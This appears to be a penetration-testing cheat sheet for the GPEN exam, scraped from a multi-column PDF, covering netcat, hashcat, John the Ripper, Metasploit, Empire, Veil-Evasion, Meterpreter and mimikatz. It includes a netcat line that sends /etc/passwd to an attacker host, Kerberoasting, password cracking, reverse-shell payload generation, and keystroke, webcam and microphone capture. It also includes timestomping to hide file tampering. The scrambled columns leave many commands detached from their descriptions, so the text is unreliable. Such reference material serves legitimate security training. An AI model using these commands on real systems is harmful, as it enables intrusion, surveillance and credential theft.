Pentest Command Tools Gpen Based Cheat Sheet
Pentest Command Tools Gpen Based Cheat Sheet
-f <first‐ Starts from the hop specified instead of 1 set norecurse no recursive query,
_ttl> RD=0
-n Specifies not to resolve IP address to -L Listen harder (Windows only) — Make a persistent
hostnames listener
-w <wait> Specifies the wait time, which can be in -u UDP mode (defaultis TCP)
seconds or relative to the reply time between -p Local port (In listen mode, this is port listened connections
hops on. In client mode, this is source port for packets sent.)
-p <port> Specifies the port -e Program to execute after connection occurs
<fi‐
DNS Query len‐
nslookup ame>
A really good explanation for this is on 560.3 book, P 152 -n Use numbers instead of names for machines
Send Files -nn Use numbers for machines and ports
nc -l -p 8080 > filename setup listener and output -i Sniff on a particular interface (—D lists interf‐
file aces)
nc -w 3 attackerIP 8080 < sends file to netcat -v Be verbose
/etc/passwd listener with 3 secs
-w Dump packets to a file (use —r to read file
timeout
later)
Scan ports
-x Print hex
nc -v -n IP port test 1 port
-X Print hex and ASCII
nc -v -w 2 -z IP_Address port range
-A Print ASCII
port_range
s [snaplen] Sniff this many bytes from each frame,
echo "" | nc -v -n —w1 a port scanner that
instead of the defaul
[targetIP] [port—range] harvests banners
Other Uses
Others
Hashcat
sessions -l get a list of sessions
hashcat -m 1800 -a 0 -o crack Linux SHA512
password with dict sessions -i [N] interact (-i) with session
found1.txt crack1.hash 500_pa‐
number [N]
sswords.txt
press CTRL-Z Background session
hashcat --force -m 13100 -a 0 Crack Kerberos
lab3.hashcat /path/to/Dic‐ Service Ticket for jobs get background jobs
t.txt --show account password db_import /path/to/fil‐ Import scans from nmap
e/nmap.xml
PowerSploit/PowerView hosts -m "Windows 10" Add comment to host
Invoke- Requests service tickets for kerberoast-able 192.168.1.10
Kerbe‐ accounts and returns extracted ticket hashes services -u -p 135,445 Show UP hosts with Lports
roast 135,445
sessions -h list help for sessions
Metasploit
command
Create Handler listener sessions -K kill a session
use exploit/multi/handler
set up an Empire HTTP listener set StagingKey configure a custom staging key for
usestager windows/launcher_bat [Some_Secret_Value] encrypting communications
set Listener http set DefaultDelay 1 time between callbacks from our agent
execute launch listener
execute
list check out our listene
General
deploy an agent
list agents
usestager create and deploy an agent | [space][TAB-
interact AGENTID chose an agent
TAB] To see available stagers
download C:\Users‐ transfer file from agentPC
usestager 1aunch‐ select stager
\alice\Desktop\s‐
er_bat
ome.txt
info get info for actual stager
Timestomping
upload /tmp upload content from /tmp to MSFDB - Metasploit Database
actual session directory
Most useful database commands
usemodule managemen‐ load timestomp module
db_connect Connects to a database
t/timestomp
[conne‐
set ALL 03/02/2020 5:28 define time to be set in all ct_‐
pm datetime file properties string]
set FilePath bank_logi‐ set target file to be tampered db_dis‐ Disconnects from database
n_information.txt connect
execute run module db_driver Selects the database type
Others db_status Displays the status of the database
/opt/Empire-mas‐ Empire Download's location db_export Exports database contents into a file, either xml
ter/downloads/ (with hosts,ports, vulnerabilities, and more) or
sell powershell Get-Ch‐ Run powershell command pwdump (with pilfered credentials)
ildItem hosts Get list of hosts disvcovered
General vulns Get list of vulns that were found in scanned hosts
? Get command suggestions services Get list of services running in gained hosts
searchmodule privesc search for modules hosts -- manually add hosts
configure a listener add [host]
listeners getting a list of our listeners
options options we have for our
listeners
services --add -p manually add services running in clean Clean out any leftover cruft from previous use
[port] -r [proto] -s hosts of Veil-Evasion,
[name] [hostl,ho‐ Generate payload
st2,...] use info select the payload you want to generate
notes --add -t [type] manually add notes to a host powershel‐
-n '[note_text]' l/meterpr‐
[hostl,host2,...] eter/rev_‐
If you delete a host, any services and vulns corresponding to that https
host_id will also disappear options list options for actual item
db_nmap --sT 10.10.1‐ invoke Nmap directly from the generate create the payload file
0.10 --packet—trace msfconsole
Generated files
db_import [filename] import data | automatically
.bat This is the payload itself
recognizes the file type like Nmap
.rc This is the Metasploit configuration file (also
xml, Amap, Nexpose, Qualys,
known as a handler file) for a multi/handler
Nessus
waiting for a connection from our payload.
hosts -S linux searching for any hosts associated
exit exit Veil-Evasion
with linux, -S works for other items
(vulns) as well /usr/shar‐ Veil-Evasion output directory
value tput/source
list get a list of all the different payloads default dest port 80
that the tool can generate -m [N] Set the maximum number of hops
info powershell/m‐ et more information about any of the -n Print numbers instead of names
eterpreter/rev_‐ payloads -p [port] port
https
For UDP, set the base destination UDP port and
increment
For TCP, set the fixed TCP destination port to use, defaulting ./unshadow Use the unshadow script to combine
to port 80 (no incrementing) passwd_copy account info from /etc/passwdwith
-w Wait for N seconds before giving up and writing * (default is shadow_copy > password information from /etc/shadow
[N] 5) combined.txt
-4 Force use of IPv4 (by default, chooses 4 or 6 based on dest john combined. txt Run John against the combined file
addr) cat ~/.john/john.pot Look at the Results in john.pot file
-6 Force use of IPv6
pw-inspector (Password Inspector)
John the Ripper -i input file
General -o output file
john.pot file cracked password store -m [n] the minimum number of characters to use for a password is
john.rec file stores john's current status n
john --restore picks up Where it left off based on the contents -M [N] Remove all words longer than N characters
of the john.rec file -c how many password criteria a given word must meet to be
john --test Check Speed Of SyStem [count] included in the list.
john hash.txt run john against hash.txt file -l The password must contain at least one lowercase
character.
john --show compare which passwords John has already
[password‐ cracked froma given password file against -u The Password must contain at least one uppercase
_file] itsjohn.pot file character. (To specify a mixed case requirement, configure
—c 2 -l —u.)
Cracking LANMAN Hashes
-n The password must contain at least one number
john /tmp/s‐ By default, John will focus on the LANMAN
-p he password must contain at least one printable character
am.txt hashes.
that is neither alphabetic nor numeric, whichincludes
Cracking Linux Passwords
!@#$%"&*().
cp /etc/p‐ copy passwd file to your working directory
-s The password must include characters not included in the
asswd other lists (such as nonprintable ASCII characters)
/tmp/pass‐
wd_copy
getuid Returns the user ID that the Meterpreter webcam__list Lists installed webcams
is running with webcam_snap Snaps a single frame from the webcam as a
ps || ps -S Process list JPEG: -Can specify JPEG image quality from
notepad.exe 1 to 100, with a default of 50
kill Terminate a process record_mic Records audio for N seconds (—d N) and
stores in a wav filein the Metasploit .msf4
execute -f cmd.exe Runs a given program channelized (-c)
directory by default
-c -H and hide proccess window (-H)
Make sure you get written permission before activating either feature
migrate [desti‐ Jumps to a given destination process ID:
Keystroke Logger
nation_proce‐
ss_ID]
keyscan_start poll every 30 milliseconds for keystrokes run schtasksabuse -c "‐ script that automates Win-sc‐
entered into the system [command1][,comman‐ htasks task creation
keyscan_dump flushes 1 Megabyte of buffer keystrokes d2]..." -t [targetIP]
captured to attacker's Meterpreter Uses Meterpreter's process
Screen credentials (add -u and -p for
keyscan_stop tells the Meterpreter to stop gathering all other credentials)
keystrokes load kiwi oad the mimikatz Kiwi Meterp‐
Pivoting Using Metasploit’s Route Command reter extension on the target
/id user RID. Mimikatz default is 500 (the default Admin ./exiftool t/images/Exi‐ execute exiftool against
(optional) account RID). fTool.jpg >/root/exif.out the ExifTool.jpg
/start‐ the start offset when the ticket is available (generally strings —n 8 file.txt shows strings only eight
offset set to –10 or 0 if this option is used). Mimikatz Default characters long
(optional) value is 0.
/endin ticket lifetime. Mimikatz Default value is 10 years Recon-ng comands for whois_pocs